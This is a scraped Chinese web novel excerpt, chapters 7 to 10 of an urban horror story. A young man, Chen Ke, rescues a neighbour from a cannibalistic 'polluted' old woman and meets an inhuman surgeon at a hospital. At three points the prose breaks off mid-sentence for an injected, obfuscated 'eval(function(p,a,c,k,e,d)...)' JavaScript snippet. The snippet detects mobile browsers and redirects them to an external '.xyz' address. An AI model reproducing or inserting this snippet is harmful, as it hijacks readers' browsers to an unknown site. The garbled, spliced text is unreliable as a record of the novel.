冷气充斥着密闭的车厢,整个人终于从燥热感中挣脱。 他揉了揉太阳穴。 回忆起刚刚的情况,看起来像是对长假产生了排斥反应。 想到工作方面的事,刚才那个男人便被抛到了脑后。 陈恪拿出手机,删改几遍后,给人事发了消息: [王姐,章总跟您说了我上季度提成的事情吗?] 老板说周一发上个季度的提成,然而到现在陈恪的手机还没有任何的提醒短信。 不知道是老板没有对财务说,还是财务忘记了。 陈恪希望是后者,这样他就不用单独给老板发消息。 一想到老板那张逐渐异变的脸,陈恪便有些踌躇起来。 如果公司因为污染的原因停工,那他就要考虑再换一份工作。 而正如老板所说,他现在的情况,无法短时间内找到合适的工作。 主动举报给特管局的话,不知道特管局会不会给奖金啊…… 消息发过去,王人事那边没有丝毫反应。甚至到快下车时,陈恪也没有收到回复。 看样子,他今天无法拿到提成了。 陈恪嘴角压平,他看着手机,犹豫着要不要问公司里相熟的同事,然而消息刚编辑好,还没有发出去,就收到了元博文的消息。 消息很短,就三个字: [快回来] 陈恪第一反应是皱眉。 元博文出了事,就意味着更大的麻烦——他可能要找新住处。 想到冬暖夏凉的室温和定时清洁的楼管,陈恪豁然起身。 不行,这种情况绝不允许发生! - 两小时前,元博文买菜回去,路边正好有卖西瓜的,汁水饱满,鲜红诱人。 他立刻买了一大块带回家。 上楼时,元博文注意到楼梯间的黑色污渍似乎比往日更多了,像霉菌般蔓延在墙角。 “不是说楼管会来打扫卫生吗?”元博文喃喃道。 说来也奇怪,他从网上看到这栋楼的招租信息,一直到搬进来,没有任何人问他要房租。 钥匙是他在进门地垫的下面拿到的,新的房子收拾得干干净净,就像是为了迎接他的到来一样。 奇怪…… 元博文甩了甩脑袋,他今天又没吃药,已经开始胡思乱想了。 吃完饭,本来想等陈恪一起来吃西瓜,但元博文实在是太馋了。 “先吃一半,剩下的再和他分。”元博文下定决心之后,带着自己的西瓜进了厨房。 他的房间格局和陈恪家挺像,厨房都有一个长长的“L”形料理台。 “哆!” 西瓜被薄薄的刀刃切开,鲜红的汁水四溢,顺着台面流淌。有几滴落在地上,很快消失得无影无踪。 变化就出现在元博文端起西瓜的时候。 一只通红的豆豆手出现,抓住了西瓜。 元博文动作一顿。 眼前的一幕似曾相识。 元博文尖叫出声。 西瓜飞向空中,掉在地上,摔了个稀巴烂,汁液像动脉血般喷溅。 他跌坐在地,半天爬不起来。看着那只小手缩回橱柜缝隙,橱门缝隙里隐约传来“咯咯”的笑声。 等到爬起来的时候,那只通红的小手已经完全不见了。 还是去吃点药吧…… 对,一定是他今天又忘记吃药了。 他下意识不愿意去确认另一个可能性。 元博文哆嗦着喝下抑制药,犹豫再三,还是迅速出了门。 电梯到达,出现在眼前的,是一张放大的,布满皱纹的脸。 ——刘阿婆的眼珠子几乎贴到他的鼻尖。 元博文悚然,但硬生生将自己的尖叫咽了回去。 “奶、奶奶中午好。” 元博文突然想到陈恪对他的叮嘱,再看向刘阿婆的眼神都有些飘忽。 “你好啊小伙子。”刘阿婆笑了笑,露出了漆黑的牙齿:“这几天搬来感觉怎么样?” “还行。”元博文如实回答,他迈入电梯,下意识和刘阿婆保持着距离。 “是吗?你看起来什么都不知道啊,你这个年纪,有时候还是要闻一闻窗外事的。隔了两条街的老李头,老伴死了以后疯了,把老伴连骨头带肉一起炖了,那叫一个香啊……” “咱们这栋楼太无聊了,自从……搬来,住户少了很多,而且晚上也少了很多节目,有的时候真是怀念以前,我的老姐妹还在的时候,大家一起开趴……” “房管跟我说,他因为你可遭罪了,被……弄伤了……” 刘阿婆似乎陷入了自己的世界,自说自话,词语含糊,也不在乎元博文是否会有反应。 元博文没有听刘阿婆在说什么,对方的话像是教科书一样划过大脑皮层,留不下一丝褶皱。 比起她的话,元博文更想知道,为什么刘阿婆面向电梯门的方向,但是眼珠子却是盯着自己看呢? 还是他看错了? 元博文咽了咽口水,余光瞥了一眼刘阿婆,很快又转了回来。 他注意到,电梯里黑色棉絮一样的东西似乎蠢蠢欲动。 今天的电梯为什么这么慢?元博文握了握出汗的手心,从没有觉得一分钟的时间这么长。 淡淡的腥臭的味道飘浮在空气中,有些像是某种生物腐烂的味道。 整个电梯完全不透气,这股味道就在电梯这个密闭的空间里面发酵。 元博文坐着电梯,感觉到自己正沿着某个庞然大物的食道,滑向它的胃袋。 这样的认知让他呼吸困难,刚刚吃了药稳定下来的大脑似乎又开始飘忽。 “可怜的乖仔。”刘阿婆的声音突然贴在耳后。 元博文浑身僵直,看见她嘴里的黑色絮状物正往自己领口钻。腐臭的气息实体般灌入鼻腔,那是停尸间混合着旱厕的味道。 “你是不是被陈恪吓到了?他看起来老老实实,实际上心机深沉,比任何一个污染物都邪恶……” 元博文冷汗“唰”一下冒了出来:“刘刘刘刘……” “没错,他就是个老六。” 刘阿婆的声音忽近忽远,有些失真,仿佛来自于遥远的天边:“半年前搬进来的时候,我看他就是个普通的小子。” 她似乎知道陈恪不在楼里,因此说起来坏话来也丝毫不顾及。 张余大门不出二门不迈,刘阿婆几乎不怎么有说话的机会,现在逮着元博文,一直说个不停。 “但后来我才知道,他就是个神经病!” “他把我的姐妹团拆散了!我再也没有人可以说话了……我的老姊妹们呦,可怜我白发人送白发人——” 说着她呜呜呜地哭出了声,但紧接着她话锋一转: “但也挺好,那群死八婆整日里揍我,可怜我儿子走得早,听到他们炫耀,一点反驳的话都说不出来,白白被其他人嘲笑……” 那种耳蜗被掏出来舔舐的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172133|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又出现了,黑色絮状物爬满电梯墙壁,耳边响起无数窃窃私语。这次不仅夹杂着某种生物的说话声,还有呜呜的哭声和尖锐的笑声。 元博文的意识模糊起来。 这种感觉,就像他入住那晚的感觉一样…… 他努力想要让自己的意识回归到现实,但依旧是徒劳。 彻底陷入黑暗前,他无比庆幸出门之前给陈恪发了消息。 刘阿婆见元博文昏过去,便闭上了嘴。 她俯下身,伸出枯瘦的手,将元博文拖出了电梯。 她的眼球完全暴凸出来,浑浊的晶状体上覆着一层半透明的膜,随着呼吸的频率一鼓一缩。 “应该不会被发现吧?好容易逮到机会找到这么个小可怜……” 她的声音在空旷的楼道里面响起,嘴巴咧开到耳根,口水滴滴答答,在地面上留下一道蜿蜒的痕迹,乍一看上去,像是个戴着假发穿着衣服的青蛙。 明明没有人,但她却像是在给谁说话。 她暗红色的长舌从咧开的嘴巴里面伸了出来,舔舐着自己黏糊糊的眼球。 舌苔上密密麻麻的倒刺刮下一层肉膜,又被她津津有味地咽了回去。 “到时候就说他搬走了……还是阿婆疼你,知道你一直挨饿,特意教你把人类骗来,现在是不是挺感谢我的?以后要继续乖乖听话……” 没有人回答她的话,刘阿婆自顾自地说着: “自从那小子搬来,我连一口血都没喝过了。咱们楼里的邻居都在的时候,也轮不到咱们俩吃人,捡捡渣滓吃倒也能度日…… 好容易熬走他们吧,却又没了机会……” “阿婆我啊,很喜欢年轻人的,我儿子死的时候,也是这副嫩生生的样子……我的儿啊……” 刘阿婆佝偻着背,两只眼睛仿佛有各自的意识一般,各自旋转着,一只眼看着元博文,一只眼盯着窗外。 她慢慢蹲下了身子,黑色的絮状物连带着舌头从口腔喷涌而出。 舌苔上的倒刺深深扎进年轻人的皮肤,渗出丝丝鲜血。 粗壮的舌头猛地发力,颚骨发出令人牙酸的咔咔声。 下颌以一个夸张的角度张开,整张嘴扩张到不可思议的幅度。 她还是那副自顾自说话的样子,只是由于舌头粘在元博文的身上,有些大嘴巴。 “……老婆子这辈子吃过不少苦,就是没吃过人,都说人好吃,让我也尝尝咸淡。” “有时候也挺感谢他的,如果不是他,也没机会吃——” 就在黑色黏液即将吞噬元博文的瞬间,整栋楼突然剧烈震颤。 不,不只是墙壁,甚至连地面也抖动了起来。 刘阿婆经历过地震,也是这个晕乎乎的感觉,她凸起的眼睛看向墙壁,里面充斥着愤怒:“衰仔,你干——” 一句话没说完,视线天旋地转,刘阿婆的身体像被卡车撞击般横飞出去! 舌头上沾着的元博文脱口而出,口水四溅! 刘阿婆的四肢着地,像壁虎般吸附在墙上,后腰处出现了一大块凹陷,猩红的液体喷涌而出。 当浑浊的视线聚焦时,她下意识地伸舌头舔了舔眼睛。 “谁——” 话卡在了嗓子眼里。 破碎的落地窗前,陈恪左手拎着的元博文,右手拎着一摞捆着的书,正缓缓收起右腿。 月光从他背后倾泻而下,将影子拉长扭曲。 他的声音和善: “阿婆,说好的邻里和睦呢?” 8. 第 8 章 陈恪收到元博文消息时,心里一个咯噔,心想着该来的还是会来的。 当时默认元博文入住,陈恪除了存了一丝恻隐之心,更重要的原因是,他没有赶走普通人的借口。 在正常人看来,他又不是房东,没有赶走其他人的权利。 而如果利用污染物吓走他的话,更大的可能是被举报到特管局。 陈恪看向不断地舔舐后腰的刘阿婆。 这个动作对她来说有点难度,枯瘦的身躯弯折成一个畸形的弧度,随着舌头的动作,不断有黑雾从她嘴角溢出,好像刚刚吃了炭粉一般。 如果睦安佳苑的邻居们真听自己的话,和元博文和谐相处,那真的再好不过了。 然而事情的发展往往都不如人意。 陈恪着急忙慌赶回来,就看到元博文被舌头举起,半只脚被塞进那个扩张到极致的口腔。 “说好的邻里和睦呢?” 青年的声音仿佛冰锥一样穿透空气。 刘浑身一颤,佝偻的身体突然僵直。 上次听到他这样说话,还是姐妹团团灭的时候。 那时她们正商量着如何吃掉新搬来的邻居,紧接着,银白色的刀光破门而入。 老姐妹们顿时尸首横飞,血肉乱溅。 “小陈啊,阿婆年纪大了,看不清了,你见到张余了吗?楼道里的洗衣液不知道他清理了没有啊……” 她的眼珠诡异地转动着,仿佛有些心虚。 “上次老李说隔壁街有领鸡蛋的,但我怎么找不到呢?是不是老婆子年纪大了视力不好了,我的老花镜呢……” 一股低沉、令人头皮发麻的嗡鸣伴随着她的话语散开,刘阿婆的眼睛变红,眼角溢出透明的黏液。 她的嘴巴一开一合,漆黑粗大的舌头突然弹出两米多长—— 黏在了楼梯间的天花板上。 就着这股弹力,刘阿婆飞了起来。 凌空的时候舌头一收,再次粘在了更远的地方,借着舌头的弹性荡起秋千,身形迅速远离陈恪。 陈恪一只手拿着书,另一只手还提着元博文的领子,见状手向后一甩,书和元博文的脑壳同时发出沉闷的响声。 刘阿婆模糊不清的声音回荡在楼梯间里: “儿子,你怎么不见了?我好害怕……” “你能不能把垃圾挪一下,要分类!说了好多次了!是邻居怎么了,一点素质没有……” “卖鸡蛋!五毛钱一斤,冰糖不甜不要钱……” …… 即便在逃离的时候,她也无法控制一直在喋喋不休,甚至因为紧张,语速越来越快,根本停不下来。 只是音调渐渐变得尖锐,音色也渐渐不似人声。 伴随着她逃入楼梯间,无数邻里吵架、小贩吵闹、婴儿夜啼的尖锐鸣啸混杂着,黏稠、冰冷、尖锐刺耳。 整个楼道像是一个巨大的放大器,似要将陈恪拖入无尽噪声污染的深渊。 “阿婆,我体谅你年纪大了想找人说说话……” 陈恪单手撑着扶手,一跃而下,就着身体的加速度,一个膝顶,直接攻向她的后背。 刘阿婆根本来不及阻止,一下就被这巨大的力量击中。 “呕——” 粗壮的舌头,连带着腐蚀性的液体和黑色的碳粉一起喷出数米远。 陈恪丝毫不畏惧这些黑色的液体,戴着手套的手径直抓住那根长舌头,然后—— 手指灵活地打了个结。 “……但你也不能打晕别人吧。” 陈恪说完下半句话,站定身体,睨了一眼渐渐恢复人身的刘阿婆。 “非法利用超常手段,压制或实质控制他人意识自主权,致使其丧失自由意志……依照新规,是要负法律责任的。” 刘阿婆被直接击飞,咕噜噜滚下了楼梯,慌乱间根本无法调整姿势,直到撞上楼道的墙才停下。 刚刚后腰上那一脚还没缓过来,如今又挨了一下,她佝偻的背都被顶直了! “……拉人啊,有人虐待老人——” 和眼珠子一样大的泪珠从她浑浊的眼里冒了出来。值得庆幸的是,她嘴里那些甚至不受自己控制的话终于可以停下了。 “来人……” 陈恪轻叹口气,转身发现消防通道探出半个颤抖的脑袋。 是张余。 “原来刘阿婆是污染物啊——” 不知不觉,张余的眼睛飘出了眼眶,像是蜗牛一样,细细的视觉神经颤抖着。 “我居然和污染物住……” 张余似乎有些不可思议:“我可真是命大……高强度的工作累不死我,和污染物共处一室还能活这么久……” 大楼住户们“遇难”的那晚,张余因为身体不适,还在强撑着加班,意识始终昏昏沉沉的。 他只知道一觉醒来,整个大楼几乎搬空了,但具体是什么原因,他想不起来了。 他的身体到现在都没有恢复,刘阿婆似乎对病秧子也不感兴趣,还是说因为他也是污染物? 不对不对,他怎么能是污染物呢?他是个人啊…… 张余的思维又开始不受控制的发散起来。 “张余。”陈恪叫了他一声:“搭把手。” 张余缩了缩脖子。 还好前两天他和陈恪只是有些口角,不然,现在被暴打的就是他了! 果然,看起来越是好说话的男人,生气起来越是恐怖。 张余跟在陈恪屁股后面上了楼。 “他要怎么处理?”他偷瞄着昏迷的元博文,声音细如蚊呐,但伸手在自己的脖子上比画了一下:“要……要处理掉吗?” 陈恪此时正一只手拽着元博文的领子,闻言道:“赶紧送医院。” 张余:诶?不和刘阿婆一起杀了吗? - 谢闻渊摘下手套。 乳白色的橡胶表面沾满了细小的褐色脂肪颗粒状物质,此刻正诡异地蠕动着。 他冷淡地扫了一眼,那些活物般的颗粒立即僵直,如同被抽干生命般迅速干瘪。 手套被他扔进垃圾桶,谢闻渊重新拿了一件白大褂。 “谢主任出来了。” 刚转过走廊拐角,谢闻渊就被一群家属团团围住。 他们脸上挂着如出一辙的热切表情,眼中希冀闪烁。 谢闻渊不动声色地避开伸来的手,无形的力量悄然扭曲了他们的认知。 汗液、泪液、鼻腔黏液,还有血液的味道,混合着聚酯纤维织物在摩擦后产生的特殊气味,让谢闻渊想要皱眉。 但他此时是“谢医生”,于是他牵动嘴角,露出一个精确到毫米的微笑: “放心,手术很顺利。” 人群中爆发了一阵抽泣,有人双手合十当场跪地,有人喜极而泣长舒口气。 “谢谢医生!谢谢医生!” 谢闻渊眼眸一扫,家属们想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172134|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握上来的手停在了空中,但他们仿若未觉,就保持着这个姿势垂首泪目。 昨天晚上新陵市爆发了一场大规模污染事件,谢闻渊还没来得及离开医院,就被叫进了手术室。 污染的初期阶段,可以通过药物加上手术治疗延缓污染扩散,但污染进入了人体,就像水杯里滴入了墨汁,彻底过滤几乎是不可能的。 虽然偶尔有一些奇迹发生——可以觉醒特殊异能,那么这些人便会被特管局收编,成为其中一员。 谢闻渊扫了一眼远处穿着黑色制服的人,神色冷淡。 大多数患者都会在时间的作用下,慢慢沦为行尸走肉,浑浑噩噩地游离在这个世界,吞噬人类或者同类,直到被其他污染物吞噬,或者被特管局消灭。 人类不会放弃希望,就像在未来终究会变成一抔黄土,然而有限的生命里,他们还是会想尽办法活下去。 可这些在谢闻渊看来,这不过是低等生物的徒劳挣扎罢了。 谢闻渊双手插兜,步伐稳健,离开了手术区域。 路上,看到他的人都友好地打招呼。 “谢主任。” “谢医生。” …… 谢闻渊始终表情淡淡。 整个医院都知道,谢医生去年去国外进修,回来后不仅医术提升了,整个人的气质都有了巨大的变化。 他变得比之前还要冷漠疏离,不近人情,行事风格也更加直接。 ——看起来就像是换了一个人。 但在体检中,他的各项指标和出车祸前的数值是一模一样的。同事们只能将其归咎于外部环境变化后的性格改变。 “谢老师,要不要休息一下?” 助手给他了一瓶葡萄糖水。 谢闻渊拒绝了。 连续高强度工作了十五个小时,助手和麻醉师都换了三四波,谢闻渊的状态依然完美得不像人类。 这就是主任医师的能力吗? 助手咽下一口葡萄糖水,亦步亦趋地跟在了他的身后。 “谢老师,关于刚才的手术……” 回国后,谢闻渊以身体不适为由,推掉了所有的带教工作,但明眼人都能够看到,他体力和能力都强得可怕。 当然,他也不是完全不指导新人,只是偶尔指导时,尖锐的点评总让实习生们无地自容。 从急诊一楼走到外科大楼一层时,谢闻渊的耐心已经耗尽,灰绿色的瞳孔开始变得幽深。 他身后的助手突然像被按了暂停键般僵在原地。 正在谢闻渊加快脚步离开时,一缕甜香刺破浑浊的空气,侵入他的感官。 这个香味是如此的熟悉,如此强势,如同附骨之疽,死死纠缠着谢闻渊,以至于谢闻渊第一时间就想起了那个雨幕中的青年。 呼吸不自觉急促起来,谢闻渊猛然转身,灰绿色的眸子锁定了正推着担架的陈恪。 青年似有所感,在谢闻渊投去视线时,立刻抬头看向了他的方向。 四目相对,青年说了句话,隔着嘈杂的人流和噪声听不太清。 谢闻渊还是读懂了那句唇语。 他说:“谢医生,又见面了。” 助手气喘吁吁,好不容易赶上了谢闻渊的脚步。 “谢、谢老师……” 他双手撑着膝盖,抬头去看谢闻渊。 不知道是不是助手的错觉—— 谢闻渊的唇角似乎上扬了一毫米。 9. 第 9 章 陈恪架着元博文冲进急诊大厅时,刺鼻的消毒水味混着血腥气扑面而来。 和他们一起进来的,还有很多同样受伤的人。 门口的护士着急忙慌地迎了上来:“是电影院污染泄漏的伤者吗?” 陈恪余光扫过周围,有人捂着流血的眼睛,有人拖着畸变的肢体,场面乱作一团。 他点点头:“是的。” “二院那边已经满了吗?”护士的声音绷得很紧,她快速给元博文套上颈托,“快把人挪到担架上。” 推担架的医生踉跄着冲来,车轮摩擦地砖的声音十分刺耳。 陈恪拒绝了他的帮助,直接单手拎起元博文,一个用力,轮子在地面发出刺耳的声音。 之后,元博文稳稳躺在了担架上。 旁边的护士和医生瞪大了眼。 上了担架,医生和陈恪一起推着元博文进了急诊楼。 这里刚刚经历了一场大型公共事件,只能用一个“乱”字形容。 医院的家属、受伤的患者挤挤挨挨,身上沾着血迹的医生步履匆匆,人们的哭喊、伤者的哀号形成令人头皮发麻的声音。 “34号床有家属来吗?34号!” “我的手!我的手……” 一个躺在担架上的中年人,整只手都消失了,断处像是被什么撕裂,血管神经卷曲着,仿佛有自己的意识一般。 猩红到发黑的血液汩汩流出,被这些铁线虫一样的神经血管舔舐,吸收,再度回归中年人的身体。 不远处,一个脸部变形的年轻人正在抽搐,他的左眼跑到了嘴巴的位置,而耳朵则长在了左眼的地方。 更骇人的是这人身上嵌在皮肉里的爆米花,每颗都在随着呼吸胀缩。 旁边的同伴想要用手去摘这些爆米花,但还没触碰到,黄色的爆米花就张开了褶皱,露出里面十字形状的口器,尖锐的牙齿冲着同伴发出无声的嚎叫。 同伴的手瞬间弹开,望向年轻人的脸色沾染上恐惧,再也不敢靠近。 一旦被污染,生物就会变成不可名状的怪物——有的时候,非生物也会被污染。 陈恪察觉到了一束视线。 抬眼看去,是那个有过两面之缘的男人。 “谢医生,又见面了。” 陈恪不知道他听到了没有,但出于礼貌,他附带了一个笑容。 可惜的是,谢医生应该没有听到,陈恪注意到他的表情没有什么变化。 两人排队等着进急诊。 受到影响的人实在是太多了,医生简单分诊后,元博文留在了观察区。 同样在观察区的人很多,因为生命体征还算平稳,他们被安排在了最末尾。 陈恪拿出手机看了眼自己的银行卡,同时心里在琢磨元博文的那一堆衣服在二手市场大概能卖多少钱。 他从不知道医院收费这么贵,一通换算之后,陈恪望向元博文,低声在他的耳边说:“要不咱不治了吧?” 元博文没说话。 那就是默认了。 陈恪满意他的识趣。 他伸出手,正准备搀扶他从担架上起来的时候,观察室门口传来一阵骚动。 只见谢闻渊的年轻助手站在门口,正扯着嗓子维持秩序:“别急,医生会一个个来看的!” 在他身旁,谢闻渊一身白大褂,脖子上挂着听诊器,整个人在白色光源下显得格外清冷。 算了,来都来了,还是看看吧。 陈恪松开手,元博文又倒回到了担架上,脑袋一歪,像是在感谢他。 随着医生的到来,观察区的病患和家属们一下子活跃起来,陈恪收起手机,靠在角落默默观察谢闻渊。 男人身形挺拔,夏季薄款白大褂隐约勾勒出肩背肌肉的轮廓。 他俯身检查病人时,动作行云流水,利落果断。侧过身时不时低声与助手交谈时,周围家属都会屏息静听。 过了一会儿,谢闻渊便走到了末尾,助手没有跟过来,还在后面给患者检查。 被那双灰绿色的眼眸专注地盯着,陈恪心头一跳。 不知道为什么,他又想到在书店时,谢闻渊看向店主的眼神。 “什么情况?”谢闻渊俯身,手指掀开元博文的眼皮,用笔灯照了照。 元博文的身上铺满大片血迹,但都只是刘阿婆舌头上的倒刺刮出来的。 还没等污染开始呢,刘阿婆就被陈恪一脚踹飞。 带着他进诊室的时候,元博文身上的大部分血迹已经凝结了。 也就是看着唬人而已。 陈恪将早就打好的腹稿简单说明,并没有说污染的具体地址——反正护士说他是在电影院污染的,那大家就都是在电影院污染的。 他不想因为说实话而失去住所。 陈恪的视线扫过医生白大褂上的金属铭牌。 谢闻渊。 看起来这么年轻,居然是主任医生。 谢闻渊的检查动作干净利落,骨节分明的手指握着钢笔,青色血管在冷白皮肤下若隐若现。 “可能需要手术。”他边说边快速填写检查单,“先做脑部CT。” 钢笔在纸上划出沙沙声响,谢闻渊又补充道:“再验个血,确认污染程度。” 污染程度有硬性指标,没超过这个指标,才符合救治标准,如果超过,那医生会直接联系家属,之后转保卫科处理。 陈恪接过单子,看了眼上面的项目,有些牙疼。 “谢谢医生。”他勉强扯出个笑容。 等到陈恪推着元博文离开后,助手走过来:“谢医生,小嘉马上来换班,我已经24小时没合眼了……” “你先去休息。”谢闻渊语气淡淡:“我这里也快结束了。” 助手眨了眨眼,这么快就结束了?他还以为又要一个通宵呢。 “那我就不让小嘉来了,咱们一起吧。” “不,你去休息。”谢闻渊打断他,眉头微蹙。 随着陈恪的离开,诊室里那股甜腻气息正在消散,谢闻渊的耐心明显有些见底。 观察室里,污染物的味道混杂着血腥味,以及一些其他的臭味,对于他而言不亚于精神攻击。 谢闻渊皱着眉,明晃晃地昭示出对这种味道的拒绝。 更让他不悦的是——陈恪说谎了,元博文身上的污染物的气味和其他人的截然不同。 人类果然满口谎言。 虽然陈恪身上散发的甜美气息令他着迷,但这不代表他喜欢被欺骗。 见到谢闻渊不悦,助手识相地说:“有事情您叫我。” 助手离开了,谢闻渊在原地静立片刻,直到空气中的那股气味消散后才离开。 三小时后,正在诊室看诊的谢闻渊鼻翼微动——他不用抬头就知道是陈恪来了。 他的气味比主人要更诚实。 “这些检查你去做,稍后去二诊室复诊。”他打发了面前的患者。 诊室门刚关上就被推开,陈恪探头进来,推着元博文,手里攥着皱巴巴的检查报告。 让谢闻渊意外的是,陈恪身上的味道正在变淡。 他想起第二次见到陈恪,那个时候青年身上几乎没有什么味道。 气味浓度和时间有关吗,还是其他原因? 谢闻渊扫了一眼,说:“拍完电脑上就可以看到。” 青年愣了一下,还是递过了胶片和临时诊断报告,说:“不好意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172135|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不怎么来医院,不知道流程。” 谢闻渊抬手接过检查单。 陈恪急着递出,两人的指尖相触。 就在这短短瞬间,青年身上的甜美气息顺着皮肤,毫无阻碍地侵入谢闻渊的毛孔。 宛如实质化的气息在他体内纠缠肆虐,谢闻渊的瞳孔倏然缩成一个小点。 “谢……医生?”陈恪试探性地开口。 空气安静了几秒。 谢闻渊垂下眼皮,淡淡“嗯”了一声:“脑后有瘀血,污染程度倒不严重,脑外科那边有床位。” 他的声音有微不可察的颤抖,但陈恪和他不熟,听不出来这一丝细小的差别。 听到要手术,陈恪表情垮了。 好麻烦,好费钱,要不还是不治了吧。 他看了一眼不省人事的元博文,又见谢闻渊已经在打电话联系手术室,十分积极。 咬咬牙,还是说:“麻烦您帮我们协调了。” 陈恪其实有些疑惑。 他去的时候,元博文应该刚刚被吞,而且刘阿婆是先弄晕的他,还没来得及吃,按理说应该不会脑子受伤才对…… 他脑海里突然闪过追自己刘阿婆时,顺手将书和元博文一起扔远了的场景。 不会是那个时候嗑到了吧…… 陈恪看了眼元博文。 ……无论如何,医药费也是自己垫付的——元博文要还。 “今晚安排紧急手术,在这等着。”谢闻渊打完了电话,声音依旧冷淡。 陈恪有限的医院经历中,没有遇到过谢闻渊这么有耐心的医生,听到这里又是一番感谢。 诊室门关上后,谢闻渊的眼神瞬间冰冷。 他盯着门板,仿佛能穿透门板,看到里面的陈恪。 抬起手,将触碰过青年的手指凑近鼻尖嗅闻,灰绿色的眼眸因为兴奋而转为墨绿色,然而内里情绪却冷得像极地寒冰。 青年的气息比他想象中的还要甜美。 对他的影响比想象中还要大——只要站在那里,就能让谢闻渊分神。 陈恪可以影响到他,但谢闻渊并不能对他施加同等影响。 这样的认知让谢闻渊感到失控,他表情骤然阴沉,强烈的破坏欲在眼底翻涌。 …… 安顿好元博文之后,陈恪长长地呼了一口气。 他掏出手机,给张余发了消息。 [你能想办法把元博文手机里的钱取出来吗?] 张余的消息回得飞快。 [我是程序员,不是黑客……] 隔着屏幕都能感受到张余身上一股子窝囊劲儿,陈恪甚至能想象到对方缩在电脑前一脸纠结样子。 他扭头看了眼元博文。 想到可能是因为他随手一扔,对方才躺在了这里,陈恪悔不当初。 然而世上没有早知道,关关难过关关过。 陈恪打车回家,准备拿点东西过来。 张余是指望不上了,他只能自己打车回家去取。 天色已经黑了,不知道是不是陈恪的错觉,他今天走在路上的时候,总感觉有什么人在看着自己。 这种感觉实在是太微弱,几乎察觉不到,不是人类的目光,更像是某种更微小、更隐秘的存在——也许是昆虫,也许是动物,又或者是其他什么难以名状的东西。 他环顾四周,四周还是那副荒凉烂尾楼群,连蝉鸣声都几乎没有。 到底是哪里奇怪呢? 很快,小吃摊的香气让陈恪将这件事抛之脑后。 “老板,要一份烤冷面。” 陈恪提着食物回到睦安佳苑,迈入大楼的瞬间—— 清楚地感受到了大楼虎躯一震! 10. 第 10 章 “什么情况?” 陈恪脚步一顿,抬头望向斑驳的天花板,眉心微蹙。 通常情况下,非生物污染体需要吞噬大量活物才能成长。 但这栋楼运气不太好,刚成为污染物不久,就被陈恪撞了个正着。没来得及发育就被一锅端,只留下一脸懵逼的张余和刘阿婆。 一个是加班到神志不清的社畜,自己被污染了都浑然不觉;另一个是抢不过其他污染物的老太太,因没吃过人勉强逃过一劫。 他们三个在一定程度上有共同点——怂。 最多判个无期徒刑,不至于死刑立即执行。 或许因为发育不良,这栋楼平静时候的污染浓度低得可怜。这也是为什么搬家时,陈恪会选择这里作为住处的原因之一。 事实上,他的选择也没有错。 在这里住了几个月,陈恪和邻居们的相处极为和谐,除了搬进来那次,从来没有红过脸。 他还会将一些同事给他的特产,分给刘阿婆以及张余。 从他们的反应来看,都挺喜欢的。 就连大楼也对自己的厨余垃圾赞不绝口。 可惜的是,污染物的脑子都不怎么好,陈恪已经叮嘱过刘阿婆要和邻居和睦相处,可她还是忘了。 陈恪当时不想动手,但元博文都快被刘阿婆吞下去了,他有什么办法? 再说了,也没动手,他动的是脚。 天花板传来不自然的震颤,墙皮簌簌掉落,楼道深处传来微不可察的尖叫。 陈恪有些奇怪,睦安佳苑今天的反应未免太激烈了些。 好在几分钟后异动平息,周围又恢复安静,仿佛刚才的震动只是错觉。 陈恪摸出地垫下面的钥匙,拧开了1304的房门。 一股淡淡的老坛酸菜的味道飘向了鼻尖。 泡面桶摞在一起,在角落堆放着,里面空空如也,地上都是散落的零食和预制菜的包装袋。 小偷是谁不言而喻。 睦安佳苑不吃包装袋,陈恪的厨余垃圾都有单独垃圾桶装,方便它拿取。但元博文不清楚,所以睦安佳苑偷吃完后,地面上都是乱扔的垃圾。 陈恪并没有停留太久,他利落地收拾元博文的洗漱用品,又打开衣柜拿了几件衣服,打包好之后返回自己家。 给窗台上的小绿植浇了一点水,又拿了一本《民法典》,将买的新书放进了小柜子,这才锁好门离开。 陈恪是走了。但谢闻渊并没有离开。 或者说,谢闻渊的一丝印记还没有消散。 和陈恪指尖贴近时,他便在青年身上留下了一个浅浅的标记。 这标记隐蔽至极,连陈恪异于常人的敏锐感知都难以察觉。 唯有对同类气息格外敏感的污染物,才能勉强捕捉到那若有若无的痕迹。 刚刚陈恪几乎要发现这个标记。谢闻渊不得不将气息收敛得更加隐秘,才避免暴露。 这种敏锐度,即便是特管局的S级调查员也未必具备。 如他所料,陈恪并不是普通人类。 谢闻渊缓缓扫过这间屋子。 墙精心保护的书、窗台上的绿植、桌上摊开一半的册子…… 在谢闻渊看来,巢穴不过是容纳躯壳的容器,过多陈设就是多余。 